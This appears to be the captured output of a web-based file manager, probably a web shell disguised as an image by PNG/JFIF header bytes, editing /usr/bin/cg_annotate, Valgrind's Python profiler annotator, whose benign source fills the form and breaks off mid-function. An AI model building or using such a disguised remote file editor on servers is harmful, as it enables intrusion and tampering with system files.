�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fbin%2F'>bin</a>/</p><hr><h3>✏️ Editing: cg_annotate</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#! /usr/bin/env python3
# pyright: strict

# --------------------------------------------------------------------
# --- Cachegrind&#039;s annotator.                       cg_annotate.in ---
# --------------------------------------------------------------------

# This file is part of Cachegrind, a high-precision tracing profiler
# built with Valgrind.
#
# Copyright (C) 2002-2023 Nicholas Nethercote
#    njn@valgrind.org
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 2 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, see &lt;http://www.gnu.org/licenses/&gt;.
#
# The GNU General Public License is contained in the file COPYING.

# This script reads Cachegrind output files and produces human-readable output.
#
# Use `make pyann` to &quot;build&quot; this script with `auxprogs/pybuild.rs` every time
# it is changed. This runs the formatters, type-checkers, and linters on
# `cg_annotate.in` and then generates `cg_annotate`.

from __future__ import annotations

import filecmp
import os
import re
import sys
from argparse import ArgumentParser, BooleanOptionalAction, Namespace
from collections import defaultdict
from typing import Callable, DefaultDict, NoReturn, TextIO


def die(msg: str) -&gt; NoReturn:
    print(&quot;cg_annotate: error:&quot;, msg, file=sys.stderr)
    sys.exit(1)


SearchAndReplace = Callable[[str], str]


# A typed wrapper for parsed args.
class Args(Namespace):
    # None of these fields are modified after arg parsing finishes.
    diff: bool
    mod_filename: SearchAndReplace
    mod_funcname: SearchAndReplace
    show: list[str]
    sort: list[str]
    threshold: float  # a percentage
    show_percs: bool
    annotate: bool
    context: int
    cgout_filename: list[str]

    @staticmethod
    def parse() -&gt; Args:
        # We support Perl-style `s/old/new/flags` search-and-replace
        # expressions, because that&#039;s how this option was implemented in the
        # old Perl version of `cg_diff`. This requires conversion from
        # `s/old/new/` style to `re.sub`. The conversion isn&#039;t a perfect
        # emulation of Perl regexps (e.g. Python uses `\1` rather than `$1` for
        # using captures in the `new` part), but it should be close enough. The
        # only supported flags are `g` (global) and `i` (ignore case).
        def search_and_replace(regex: str | None) -&gt; SearchAndReplace:
            if regex is None:
                return lambda s: s

            # Extract the parts of an `s/old/new/tail` regex. `(?&lt;!\\)/` is an
            # example of negative lookbehind. It means &quot;match a forward slash
            # unless preceded by a backslash&quot;.
            m = re.match(r&quot;s/(.*)(?&lt;!\\)/(.*)(?&lt;!\\)/(g|i|gi|ig|)$&quot;, regex)
            if m is None:
                raise ValueError

            # Forward slashes must be escaped in an `s/old/new/` expression,
            # but we then must unescape them before using them with `re.sub`.
            pat = m.group(1).replace(r&quot;\/&quot;, r&quot;/&quot;)
            repl = m.group(2).replace(r&quot;\/&quot;, r&quot;/&quot;)
            tail = m.group(3)

            if &quot;g&quot; in tail:
                count = 0  # unlimited
            else:
                count = 1

            if &quot;i&quot; in tail:
                flags = re.IGNORECASE
            else:
                flags = re.RegexFlag(0)

            return lambda s: re.sub(re.compile(pat, flags=flags), repl, s, count=count)

        def comma_separated_list(values: str) -&gt; list[str]:
            return values.split(&quot;,&quot;)

        def threshold(n: str) -&gt; float:
            f = float(n)
            if 0 &lt;= f &lt;= 20:
                return f
            raise ValueError

        # Add a bool argument that defaults to true.
        #
        # Supports these forms: `--foo`, `--no-foo`, `--foo=yes`, `--foo=no`.
        # The latter two were the forms supported by the old Perl version of
        # `cg_annotate`, and are now deprecated.
        def add_bool_argument(
            p: ArgumentParser, new_name: str, old_name: str, help_: str
        ) -&gt; None:
            new_flag = &quot;--&quot; + new_name
            old_flag = &quot;--&quot; + old_name
            dest = new_name.replace(&quot;-&quot;, &quot;_&quot;)

            # Note: the default value is always printed with `BooleanOptionalAction`,
            # due to an argparse bug: https://github.com/python/cpython/issues/83137.
            p.add_argument(
                new_flag,
                default=True,
                action=BooleanOptionalAction,
                help=help_,
            )
            p.add_argument(
                f&quot;{old_flag}=yes&quot;,
                dest=dest,
                action=&quot;store_true&quot;,
                help=f&quot;(deprecated) same as --{new_name}&quot;,
            )
            p.add_argument(
                f&quot;{old_flag}=no&quot;,
                dest=dest,
                action=&quot;store_false&quot;,
                help=f&quot;(deprecated) same as --no-{new_name}&quot;,
            )

        p = ArgumentParser(description=&quot;Process one or more Cachegrind output files.&quot;)

        p.add_argument(&quot;--version&quot;, action=&quot;version&quot;, version=&quot;%(prog)s-3.24.0&quot;)
        p.add_argument(
            &quot;--diff&quot;,
            default=False,
            action=&quot;store_true&quot;,
            help=&quot;perform a diff between two Cachegrind output files&quot;,
        )
        p.add_argument(
            &quot;--mod-filename&quot;,
            type=search_and_replace,
            metavar=&quot;REGEX&quot;,
            default=search_and_replace(None),
            help=&quot;a search-and-replace regex applied to filenames, e.g. &quot;
            &quot;`s/prog[0-9]/progN/`&quot;,
        )
        p.add_argument(
            &quot;--mod-funcname&quot;,
            type=search_and_replace,
            metavar=&quot;REGEX&quot;,
            default=search_and_replace(None),
            help=&quot;like --mod-filename, but for function names&quot;,
        )
        p.add_argument(
            &quot;--show&quot;,
            type=comma_separated_list,
            metavar=&quot;A,B,C&quot;,
            help=&quot;only show figures for events A,B,C (default: all events)&quot;,
        )
        p.add_argument(
            &quot;--sort&quot;,
            type=comma_separated_list,
            metavar=&quot;A,B,C&quot;,
            help=&quot;sort functions by events A,B,C (default: event column order)&quot;,
        )
        p.add_argument(
            &quot;--threshold&quot;,
            type=threshold,
            default=0.1,
            metavar=&quot;N:[0,20]&quot;,
            help=&quot;only show file:function/function:file pairs with more than &quot;
            &quot;N%% of primary sort event counts (default: %(default)s)&quot;,
        )
        add_bool_argument(
            p,
            &quot;show-percs&quot;,
            &quot;show-percs&quot;,
            &quot;show a percentage for each non-zero count&quot;,
        )
        add_bool_argument(
            p,
            &quot;annotate&quot;,
            &quot;auto&quot;,
            &quot;annotate all source files containing functions that reached the &quot;
            &quot;event count threshold&quot;,
        )
        p.add_argument(
            &quot;--context&quot;,
            type=int,
            default=8,
            metavar=&quot;N&quot;,
            help=&quot;print N lines of context before and after annotated lines &quot;
            &quot;(default: %(default)s)&quot;,
        )
        p.add_argument(
            &quot;cgout_filename&quot;,
            nargs=&quot;+&quot;,
            metavar=&quot;cachegrind-out-file&quot;,
            help=&quot;file produced by Cachegrind&quot;,
        )

        # `args0` name used to avoid shadowing the global `args`, which pylint
        # doesn&#039;t like.
        args0 = p.parse_args(namespace=Args())
        if args0.diff and len(args0.cgout_filename) != 2:
            p.print_usage(file=sys.stderr)
            die(&quot;argument --diff: requires exactly two Cachegrind output files&quot;)

        return args0  # type: ignore [return-value]


# Args are stored in a global for easy access.
args = Args.parse()


# A single instance of this class is constructed, from `args` and the `events:`
# line in the cgout file.
class Events:
    # The event names.
    events: list[str]

    # Equal to `len(self.events)`.
    num_events: int

    # The order in which we must traverse events for --show. Can be shorter
    # than `events`.
    show_events: list[str]

    # Like `show_events`, but indices into `events`, rather than names.
    show_indices: list[int]

    # The order in which we must traverse events for --sort. Can be shorter
    # than `events`.
    sort_events: list[str]

    # Like `sort_events`, but indices into `events`, rather than names.
    sort_indices: list[int]

    def __init__(self) -&gt; None:
        # All fields are left uninitialized here, and set instead in `init`.
        pass

    def init(self, text: str) -&gt; None:
        self.events = text.split()
        self.num_events = len(self.events)

        # A temporary dict mapping events to indices, [0, n-1].
        event_indices = {event: n for n, event in enumerate(self.events)}

        # If --show is given, check it is valid. If --show is not given,
        # default to all events in the standard order.
        if args.show:
            for event in args.show:
                if event not in event_indices:
                    die(f&quot;--show event `{event}` did not appear in `events:` line&quot;)
            self.show_events = args.show
        else:
            self.show_events = self.events

        self.show_indices = [event_indices[event] for event in self.show_events]

        # Likewise for --sort.
        if args.sort:
            for event in args.sort:
                if event not in event_indices:
                    die(f&quot;--sort event `{event}` did not appear in `events:` line&quot;)
            self.sort_events = args.sort
        else:
            self.sort_events = self.events

        self.sort_indices = [event_indices[event] for event in self.sort_events]

    # Raises a `ValueError` exception on syntax error.
    def mk_cc(self, str_counts: list[str]) -&gt; Cc:
        # This is slightly faster than a list comprehension.
        counts = list(map(int, str_counts))

        if len(counts) == self.num_events:
            pass
        elif len(counts) &lt; self.num_events:
            # Add zeroes at the end for any missing numbers.
            counts.extend([0] * (self.num_events - len(counts)))
        else:
            raise ValueError

        return counts

    def mk_empty_cc(self) -&gt; Cc:
        # This is much faster than a list comprehension.
        return [0] * self.num_events

    def mk_empty_dcc(self) -&gt; Dcc:
        return Dcc(self.mk_empty_cc(), defaultdict(self.mk_empty_cc))


# A &quot;cost centre&quot;, which is a dumb container for counts. Always the same length
# as `Events.events`, but it doesn&#039;t even know event names. `Events.mk_cc` and
# `Events.mk_empty_cc` are used for construction.
#
# This used to be a class with a single field `counts: list[int]`, but this
# type is very hot and just using a type alias is much faster.
Cc = list[int]


# Add the counts in `a_cc` to `b_cc`.
def add_cc_to_cc(a_cc: Cc, b_cc: Cc) -&gt; None:
    for i, a_count in enumerate(a_cc):
        b_cc[i] += a_count


# Subtract the counts in `a_cc` from `b_cc`.
def sub_cc_from_cc(a_cc: Cc, b_cc: Cc) -&gt; None:
    for i, a_count in enumerate(a_cc):
        b_cc[i] -= a_count


# Unrolled version of `add_cc_to_cc`, for speed.
def add_cc_to_ccs(
    a_cc: Cc, b_cc1: Cc, b_cc2: Cc, b_cc3: Cc, b_cc4: Cc, b_cc5: Cc, total_cc: Cc
) -&gt; None:
    for i, a_count in enumerate(a_cc):
        b_cc1[i] += a_count
        b_cc2[i] += a_count
        b_cc3[i] += a_count
        b_cc4[i] += a_count
        b_cc5[i] += a_count
        total_cc[i] += a_count


# Unrolled version of `sub_cc_from_cc`, for speed. Note that the last one,
# `total_cc`, is added.
def sub_cc_from_ccs(
    a_cc: Cc, b_cc1: Cc, b_cc2: Cc, b_cc3: Cc, b_cc4: Cc, b_cc5: Cc, total_cc: Cc
) -&gt; None:
    for i, a_count in enumerate(a_cc):
        b_cc1[i] -= a_count
        b_cc2[i] -= a_count
        b_cc3[i] -= a_count
        b_cc4[i] -= a_count
        b_cc5[i] -= a_count
        total_cc[i] += a_count


# Update `min_cc` and `max_cc` with `self`.
def update_cc_extremes(self: Cc, min_cc: Cc, max_cc: Cc) -&gt; None:
    for i, count in enumerate(self):
        if count &gt; max_cc[i]:
            max_cc[i] = count
        elif count &lt; min_cc[i]:
            min_cc[i] = count


# Note: some abbrevations used below:
# - Ofl/ofl: original filename, as mentioned in a cgout file.
# - Ofn/ofn: original function name, as mentioned in a cgout file.
# - Mfl/mfl: modified filename, the result of passing an Ofl through
#   `--mod-filename`.
# - Mfn/mfn: modified function name, the result of passing an Ofn through
#   `--mod-funcname`.
# - Mname/mname: modified name, used for what could be an Mfl or an Mfn.


# A deep cost centre with a dict for the inner mnames and CCs.
class Dcc:
    outer_cc: Cc
    inner_dict_mname_cc: DictMnameCc

    def __init__(self, outer_cc: Cc, inner_dict_mname_cc: DictMnameCc) -&gt; None:
        self.outer_cc = outer_cc
        self.inner_dict_mname_cc = inner_dict_mname_cc


# A deep cost centre with a list for the inner mnames and CCs. Used during
# filtering and sorting.
class Lcc:
    outer_cc: Cc
    inner_list_mname_cc: ListMnameCc

    def __init__(self, outer_cc: Cc, inner_list_mname_cc: ListMnameCc) -&gt; None:
        self.outer_cc = outer_cc
        self.inner_list_mname_cc = inner_list_mname_cc


# Per-Mfl/Mfn CCs. The list version is used during filtering and sorting.
DictMnameCc = DefaultDict[str, Cc]
ListMnameCc = list[tuple[str, Cc]]

# Per-Mfl/Mfn DCCs. The outer Mnames are Mfls and the inner Mnames are Mfns, or
# vice versa. The list version is used during filtering and sorting.
DictMnameDcc = DefaultDict[str, Dcc]
ListMnameLcc = list[tuple[str, Lcc]]

# Per-line CCs, organised by Mfl and line number.
DictLineCc = DefaultDict[int, Cc]
DictMflDictLineCc = DefaultDict[str, DictLineCc]

# A dictionary tracking how Ofls get mapped to Mfls by `--mod-filename`. If
# `--mod-filename` isn&#039;t used, each entry will be the identity mapping: (&quot;foo&quot;
# -&gt; set([&quot;foo&quot;])).
DictMflOfls = DefaultDict[str, set[str]]


def read_cgout_file(
    cgout_filename: str,
    is_first_file: bool,
    descs: list[str],
    cmds: list[str],
    events: Events,
    dict_mfl_ofls: DictMflOfls,
    dict_mfl_dcc: DictMnameDcc,
    dict_mfn_dcc: DictMnameDcc,
    dict_mfl_dict_line_cc: DictMflDictLineCc,
    summary_cc: Cc,
) -&gt; None:
    # The file format is described in Cachegrind&#039;s manual.
    try:
        cgout_file = open(cgout_filename, &quot;r&quot;, encoding=&quot;utf-8&quot;)
    except OSError as err:
        die(f&quot;{err}&quot;)

    with cgout_file:
        cgout_line_num = 0

        def parse_die(msg: str) -&gt; NoReturn:
            die(f&quot;{cgout_file.name}:{cgout_line_num}: {msg}&quot;)

        def readline() -&gt; str:
            nonlocal cgout_line_num
            cgout_line_num += 1
            return cgout_file.readline()

        # Read &quot;desc:&quot; lines.
        desc = &quot;&quot;
        while line := readline():
            if m := re.match(r&quot;desc:\s+(.*)&quot;, line):
                desc += m.group(1) + &quot;\n&quot;
            else:
                break
        descs.append(desc)

        # Read &quot;cmd:&quot; line. (`line` is already set from the &quot;desc:&quot; loop.)
        if m := re.match(r&quot;cmd:\s+(.*)&quot;, line):
            cmds.append(m.group(1))
        else:
            parse_die(&quot;missing a `command:` line&quot;)

        # Read &quot;events:&quot; line.
        line = readline()
        if m := re.match(r&quot;events:\s+(.*)&quot;, line):
            if is_first_file:
                events.init(m.group(1))
            else:
                events2 = Events()
                events2.init(m.group(1))
                if events.events != events2.events:
                    die(&quot;events in data files don&#039;t match&quot;)
        else:
            parse_die(&quot;missing an `events:` line&quot;)

        def mk_empty_dict_line_cc() -&gt; DictLineCc:
            return defaultdict(events.mk_empty_cc)

        # The current Mfl and Mfn.
        mfl = &quot;&quot;
        mfn = &quot;&quot;

        # These values are passed in by reference and are modified by this
        # function. But they can&#039;t be properly initialized until the `events:`
        # line of the first file is read and the number of events is known. So
        # we initialize them in an invalid state in `main`, and then
        # reinitialize them properly here, before their first use.
        if is_first_file:
            dict_mfl_dcc.default_factory = events.mk_empty_dcc
            dict_mfn_dcc.default_factory = events.mk_empty_dcc
            dict_mfl_dict_line_cc.default_factory = mk_empty_dict_line_cc
            summary_cc.extend(events.mk_empty_cc())

        # These are refs into the dicts above, used to avoid repeated lookups.
        # They are all overwritten before first use.
        mfl_dcc = events.mk_empty_dcc()
        mfn_dcc = events.mk_empty_dcc()
        mfl_dcc_inner_mfn_cc = events.mk_empty_cc()
        mfn_dcc_inner_mfl_cc = events.mk_empty_cc()
        dict_line_cc = mk_empty_dict_line_cc()
        total_cc = events.mk_empty_cc()

        # When diffing, we negate the first cgout file&#039;s counts to effectively
        # achieve `cgout2 - cgout1`.
        if args.diff and is_first_file:
            combine_cc_with_cc = sub_cc_from_cc
            combine_cc_with_ccs = sub_cc_from_ccs
        else:
            combine_cc_with_cc = add_cc_to_cc
            combine_cc_with_ccs = add_cc_to_ccs

        summary_cc_present = False

        # Line matching is done in order of pattern frequency, for speed.
        while line := readline():
            if line[0].isdigit():
                split_line = line.split()
                try:
                    line_num = int(split_line[0])
                    cc = events.mk_cc(split_line[1:])
                except ValueError:
                    parse_die(&quot;malformed or too many event counts&quot;)

                # Record this CC at various levels.
                combine_cc_with_ccs(
                    cc,
                    mfl_dcc.outer_cc,
                    mfn_dcc.outer_cc,
                    mfl_dcc_inner_mfn_cc,
                    mfn_dcc_inner_mfl_cc,
                    dict_line_cc[line_num],
                    total_cc,
                )

            elif line.startswith(&quot;fn=&quot;):
                ofn = line[3:-1]
                mfn = args.mod_funcname(ofn)
                # `mfl_dcc` is unchanged.
                mfn_dcc = dict_mfn_dcc[mfn]
                mfl_dcc_inner_mfn_cc = mfl_dcc.inner_dict_mname_cc[mfn]
                mfn_dcc_inner_mfl_cc = mfn_dcc.inner_dict_mname_cc[mfl]

            elif line.startswith(&quot;fl=&quot;):
                ofl = line[3:-1]
                mfl = args.mod_filename(ofl)
                dict_mfl_ofls[mfl].add(ofl)
                # A `fn=` line should follow, overwriting the function name.
                mfn = &quot;&lt;unspecified&gt;&quot;
                mfl_dcc = dict_mfl_dcc[mfl]
                mfn_dcc = dict_mfn_dcc[mfn]
                mfl_dcc_inner_mfn_cc = mfl_dcc.inner_dict_mname_cc[mfn]
                mfn_dcc_inner_mfl_cc = mfn_dcc.inner_dict_mname_cc[mfl]
                dict_line_cc = dict_mfl_dict_line_cc[mfl]

            elif m := re.match(r&quot;summary:\s+(.*)&quot;, line):
                summary_cc_present = True
                try:
                    this_summary_cc = events.mk_cc(m.group(1).split())
                    combine_cc_with_cc(this_summary_cc, summary_cc)

                    # Check summary is correct. Note that `total_cc` doesn&#039;t
                    # get negated for the first file in a diff, unlike the
                    # other CCs, because it&#039;s only used here as a sanity check.
                    if this_summary_cc != total_cc:
                        msg = (
                            &quot;`summary:` line doesn&#039;t match computed total\n&quot;
                            f&quot;- summary:  {this_summary_cc}\n&quot;
                            f&quot;- computed: {total_cc}&quot;
                        )
                        parse_die(msg)

                except ValueError:
                    parse_die(&quot;malformed or too many event counts&quot;)

            elif line == &quot;\n&quot; or line.startswith(&quot;#&quot;):
                # Skip empty lines and comment lines.
                pass

            else:
                parse_die(f&quot;malformed line: {line[:-1]}&quot;)

    # Check if summary line was present.
    if not summary_cc_present:
        parse_die(&quot;missing `summary:` line, aborting&quot;)


# The width of a column, in three parts.
class Width:
    # Width of the widest commified event count.
    count: int

    # Width of the widest first percentage, of the form ` (n.n%)` or ` (n.n%,`.
    perc1: int

    # Width of the widest second percentage, of the form ` n.n%)`.
    perc2: int

    def __init__(self, count: int, perc1: int, perc2: int) -&gt; None:
        self.count = count
        self.perc1 = perc1
        self.perc2 = perc2


class CcPrinter:
    # Note: every `CcPrinter` gets the same `Events` object.
    events: Events

    # Note: every `CcPrinter` gets the same summary CC.
    summary_cc: Cc

    # String to print before the event names.
    events_prefix: str

    # The widths of each event column. For simplicity, its length matches
    # `events.events`, even though not all events are necessarily shown.
    widths: list[Width]

    # Text of a missing CC, which can be computed in advance.
    missing_cc_str: str

    # Must call `init_ccs` or `init_list_mname_lcc` after this.
    def __init__(self, events: Events, summary_cc: Cc) -&gt; None:
        self.events = events
        self.summary_cc = summary_cc
        # Other fields initialized in `init_*`.

    def init_ccs(self, ccs: list[Cc]) -&gt; None:
        self.events_prefix = &quot;&quot;

        # Find min and max count for each event. One of them will be the widest
        # value.
        min_cc = self.events.mk_empty_cc()
        max_cc = self.events.mk_empty_cc()
        for cc in ccs:
            update_cc_extremes(cc, min_cc, max_cc)

        self.init_widths(min_cc, max_cc, None, None)

    def init_list_mname_lcc(self, list_mname_lcc: ListMnameLcc) -&gt; None:
        self.events_prefix = &quot;  &quot;

        cumul_cc = self.events.mk_empty_cc()

        # Find min and max value for each event. One of them will be the widest
        # value. Likewise for the cumulative counts.
        min_cc = self.events.mk_empty_cc()
        max_cc = self.events.mk_empty_cc()
        min_cumul_cc = self.events.mk_empty_cc()
        max_cumul_cc = self.events.mk_empty_cc()
        for _, lcc in list_mname_lcc:
            # Consider both outer and inner CCs for `count` and `perc1`.
            update_cc_extremes(lcc.outer_cc, min_cc, max_cc)
            for _, inner_cc in lcc.inner_list_mname_cc:
                update_cc_extremes(inner_cc, min_cc, max_cc)

            # Consider only outer CCs for `perc2`.
            add_cc_to_cc(lcc.outer_cc, cumul_cc)
            update_cc_extremes(cumul_cc, min_cumul_cc, max_cumul_cc)

        self.init_widths(min_cc, max_cc, min_cumul_cc, max_cumul_cc)

    def init_widths(
        self, min_cc1: Cc, max_cc1: Cc, min_cc2: Cc | None, max_cc2: Cc | None
    ) -&gt; None:
        self.widths = [Width(0, 0, 0)] * self.events.num_events
        for i in range(len(self.events.events)):
            # Get count and percs widths of the min and max CCs.
            (min_count, min_perc1, min_perc2) = self.count_and_percs_strs(
                min_cc1, min_cc2, i
            )
            (max_count, max_perc1, max_perc2) = self.count_and_percs_strs(
                max_cc1, max_cc2, i
            )
            self.widths[i] = Width(
                max(len(min_count), len(max_count)),
                max(len(min_perc1), len(max_perc1)),
                max(len(min_perc2), len(max_perc2)),
            )

        self.missing_cc_str = &quot;&quot;
        for i in self.events.show_indices:
            self.missing_cc_str += self.count_and_percs_str(i, &quot;.&quot;, &quot;&quot;, &quot;&quot;)

    # Get the count and perc string for `cc1[i]` and the perc string for
    # `cc2[i]`. (Unless `cc2` is `None`, in which case `perc2` will be &quot;&quot;.)
    def count_and_percs_strs(
        self, cc1: Cc, cc2: Cc | None, i: int
    ) -&gt; tuple[str, str, str]:
        count = f&quot;{cc1[i]:,d}&quot;  # commify
        if args.show_percs:
            summary_count = self.summary_cc[i]
            if cc2 is None:
                # A plain or inner CC, with a single percentage.
                if cc1[i] == 0:
                    # Don&#039;t show percentages for &quot;0&quot; entries, it&#039;s just clutter.
                    perc1 = &quot;&quot;
                elif summary_count == 0:
                    # Avoid dividing by zero.
                    perc1 = &quot; (n/a)&quot;
                else:
                    perc1 = f&quot; ({cc1[i] * 100 / summary_count:.1f}%)&quot;
                perc2 = &quot;&quot;
            else:
                # An outer CC, with two percentages.
                if summary_count == 0:
                    # Avoid dividing by zero.
                    perc1 = &quot; (n/a,&quot;
                    perc2 = &quot; n/a)&quot;
                else:
                    perc1 = f&quot; ({cc1[i] * 100 / summary_count:.1f}%,&quot;
                    perc2 = f&quot; {cc2[i] * 100 / summary_count:.1f}%)&quot;
        else:
            perc1 = &quot;&quot;
            perc2 = &quot;&quot;

        return (count, perc1, perc2)

    def count_and_percs_str(self, i: int, count: str, perc1: str, perc2: str) -&gt; str:
        event_w = len(self.events.events[i])
        count_w = self.widths[i].count
        perc1_w = self.widths[i].perc1
        perc2_w = self.widths[i].perc2
        pre_w = max(0, event_w - count_w - perc1_w - perc2_w)
        return f&quot;{&#039;&#039;:&gt;{pre_w}}{count:&gt;{count_w}}{perc1:&gt;{perc1_w}}{perc2:&gt;{perc2_w}} &quot;

    def print_events(self, suffix: str) -&gt; None:
        print(self.events_prefix, end=&quot;&quot;)
        for i in self.events.show_indices:
            event = self.events.events[i]
            event_w = len(event)
            count_w = self.widths[i].count
            perc1_w = self.widths[i].perc1
            perc2_w = self.widths[i].perc2
            print(f&quot;{event:_&lt;{max(event_w, count_w + perc1_w + perc2_w)}} &quot;, end=&quot;&quot;)

        print(suffix)

    def print_lcc(self, indent: str, lcc: Lcc, outer_mname: str, cumul_cc: Cc) -&gt; None:
        print(indent, end=&quot;&quot;)
        if (
            len(lcc.inner_list_mname_cc) == 1
            and lcc.outer_cc == lcc.inner_list_mname_cc[0][1]
        ):
            # There is only one inner CC, it met the threshold, and it is equal
            # to the outer CC. Print the inner CC and outer CC in a single
            # line, because they are the same.
            inner_mname = lcc.inner_list_mname_cc[0][0]
            self.print_cc(lcc.outer_cc, cumul_cc, f&quot;{outer_mname}:{inner_mname}&quot;)
        else:
            # There are multiple inner CCs, and at least one met the threshold.
            # Print the outer CC and then the inner CCs, indented.
            self.print_cc(lcc.outer_cc, cumul_cc, f&quot;{outer_mname}:&quot;)
            for inner_mname, inner_cc in lcc.inner_list_mname_cc:
                print(&quot;  &quot;, end=&quot;&quot;)
                self.print_cc(inner_cc, None, f&quot;  {inner_mname}&quot;)
        print()

    # If `cc2` is `None`, it&#039;s a vanilla CC or inner CC. Otherwise, it&#039;s an
    # outer CC.
    def print_cc(self, cc: Cc, cc2: Cc | None, suffix: str) -&gt; None:
        for i in self.events.show_indices:
            (count, perc1, perc2) = self.count_and_percs_strs(cc, cc2, i)
            print(self.count_and_percs_str(i, count, perc1, perc2), end=&quot;&quot;)

        print(&quot;&quot;, suffix)

    def print_missing_cc(self, suffix: str) -&gt; None:
        print(self.missing_cc_str, suffix)


# Used in various places in the output.
def print_fancy(text: str) -&gt; None:
    fancy = &quot;-&quot; * 80
    print(fancy)
    print(&quot;--&quot;, text)
    print(fancy)


def print_metadata(descs: list[str], cmds: list[str], events: Events) -&gt; None:
    print_fancy(&quot;Metadata&quot;)

    def all_the_same(strs: list[str]) -&gt; bool:
        for i in range(len(strs) - 1):
            if strs[i] != strs[i + 1]:
                return False

        return True

    print(&quot;Invocation:      &quot;, *sys.argv)

    # When there are multiple descriptions, they are usually all the same. Only
    # print the description once in that case.
    if all_the_same(descs):
        print(descs[0], end=&quot;&quot;)
    else:
        for i, desc in enumerate(descs):
            print(f&quot;Description {i+1}:&quot;)
            print(desc, end=&quot;&quot;)

    # Commands are sometimes the same, sometimes not. Always print them
    # individually, but refer to the previous one when appropriate.
    if len(cmds) == 1:
        print(&quot;Command:         &quot;, cmds[0])
    else:
        for i, cmd in enumerate(cmds):
            if i &gt; 0 and cmds[i - 1] == cmd:
                print(f&quot;Command {i+1}:        (same as Command {i})&quot;)
            else:
                print(f&quot;Command {i+1}:       &quot;, cmd)

    print(&quot;Events recorded: &quot;, *events.events)
    print(&quot;Events shown:    &quot;, *events.show_events)
    print(&quot;Event sort order:&quot;, *events.sort_events)
    print(&quot;Threshold:        &quot;, args.threshold, &quot;%&quot;, sep=&quot;&quot;)
    print(&quot;Annotation:      &quot;, &quot;on&quot; if args.annotate else &quot;off&quot;)
    print()


def print_summary(events: Events, summary_cc: Cc) -&gt; None:
    printer = CcPrinter(events, summary_cc)
    printer.init_ccs([summary_cc])
    print_fancy(&quot;Summary&quot;)
    printer.print_events(&quot;&quot;)
    print()
    printer.print_cc(summary_cc, None, &quot;PROGRAM TOTALS&quot;)
    print()


def print_mname_summary(
    kind: str, indent: str, events: Events, dict_mname_dcc: DictMnameDcc, summary_cc: Cc
) -&gt; set[str]:
    # The primary sort event is used for the threshold.
    threshold_index = events.sort_indices[0]

    # Convert the threshold from a percentage to an event count.
    threshold = args.threshold * abs(summary_cc[threshold_index]) / 100

    def meets_threshold(mname_and_cc: tuple[str, Cc]) -&gt; bool:
        cc = mname_and_cc[1]
        return abs(cc[threshold_index]) &gt;= threshold

    # Create a list with the outer CC counts in sort order, so that
    # left-to-right list comparison does the right thing. Plus the outer name
    # at the end for deterministic output when all the event counts are
    # identical in two CCs.
    def key_mname_and_lcc(mname_and_lcc: tuple[str, Lcc]) -&gt; tuple[list[int], str]:
        (outer_mname, lcc) = mname_and_lcc
        return (
            [abs(lcc.outer_cc[i]) for i in events.sort_indices],
            outer_mname,
        )

    # Similar to `key_mname_and_lcc`.
    def key_mname_and_cc(mname_and_cc: tuple[str, Cc]) -&gt; tuple[list[int], str]:
        (mname, cc) = mname_and_cc
        return ([abs(cc[i]) for i in events.sort_indices], mname)

    # This is a `filter_map` operation, which Python doesn&#039;t directly support.
    list_mname_lcc: ListMnameLcc = []
    for outer_mname, dcc in dict_mname_dcc.items():
        # Filter out inner CCs for which the primary sort event count is below the
        # threshold, and sort the remainder.
        inner_list_mname_cc = sorted(
            filter(meets_threshold, dcc.inner_dict_mname_cc.items()),
            key=key_mname_and_cc,
            reverse=True,
        )

        # If no inner CCs meet the threshold, ignore the entire DCC, even if
        # the outer CC meets the threshold.
        if len(inner_list_mname_cc) == 0:
            continue

        list_mname_lcc.append((outer_mname, Lcc(dcc.outer_cc, inner_list_mname_cc)))

    list_mname_lcc = sorted(list_mname_lcc, key=key_mname_and_lcc, reverse=True)

    printer = CcPrinter(events, summary_cc)
    printer.init_list_mname_lcc(list_mname_lcc)
    print_fancy(kind + &quot; summary&quot;)
    printer.print_events(&quot; &quot; + kind.lower())
    print()

    # Print LCCs.
    threshold_mnames: set[str] = set([])
    cumul_cc = events.mk_empty_cc()
    for mname, lcc in list_mname_lcc:
        add_cc_to_cc(lcc.outer_cc, cumul_cc)
        printer.print_lcc(indent, lcc, mname, cumul_cc)
        threshold_mnames.add(mname)

    return threshold_mnames


class AnnotatedCcs:
    line_nums_known_cc: Cc
    line_nums_unknown_cc: Cc
    non_identical_cc: Cc
    unreadable_cc: Cc
    below_threshold_cc: Cc
    files_unknown_cc: Cc

    labels = [
        &quot;  annotated: files known &amp; above threshold &amp; readable, line numbers known&quot;,
        &quot;  annotated: files known &amp; above threshold &amp; readable, line numbers unknown&quot;,
        &quot;unannotated: files known &amp; above threshold &amp; two or more non-identical&quot;,
        &quot;unannotated: files known &amp; above threshold &amp; unreadable &quot;,
        &quot;unannotated: files known &amp; below threshold&quot;,
        &quot;unannotated: files unknown&quot;,
    ]

    def __init__(self, events: Events) -&gt; None:
        self.line_nums_known_cc = events.mk_empty_cc()
        self.line_nums_unknown_cc = events.mk_empty_cc()
        self.non_identical_cc = events.mk_empty_cc()
        self.unreadable_cc = events.mk_empty_cc()
        self.below_threshold_cc = events.mk_empty_cc()
        self.files_unknown_cc = events.mk_empty_cc()

    def ccs(self) -&gt; list[Cc]:
        return [
            self.line_nums_known_cc,
            self.line_nums_unknown_cc,
            self.non_identical_cc,
            self.unreadable_cc,
            self.below_threshold_cc,
            self.files_unknown_cc,
        ]


def mk_warning(msg: str) -&gt; str:
    return f&quot;&quot;&quot;\
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
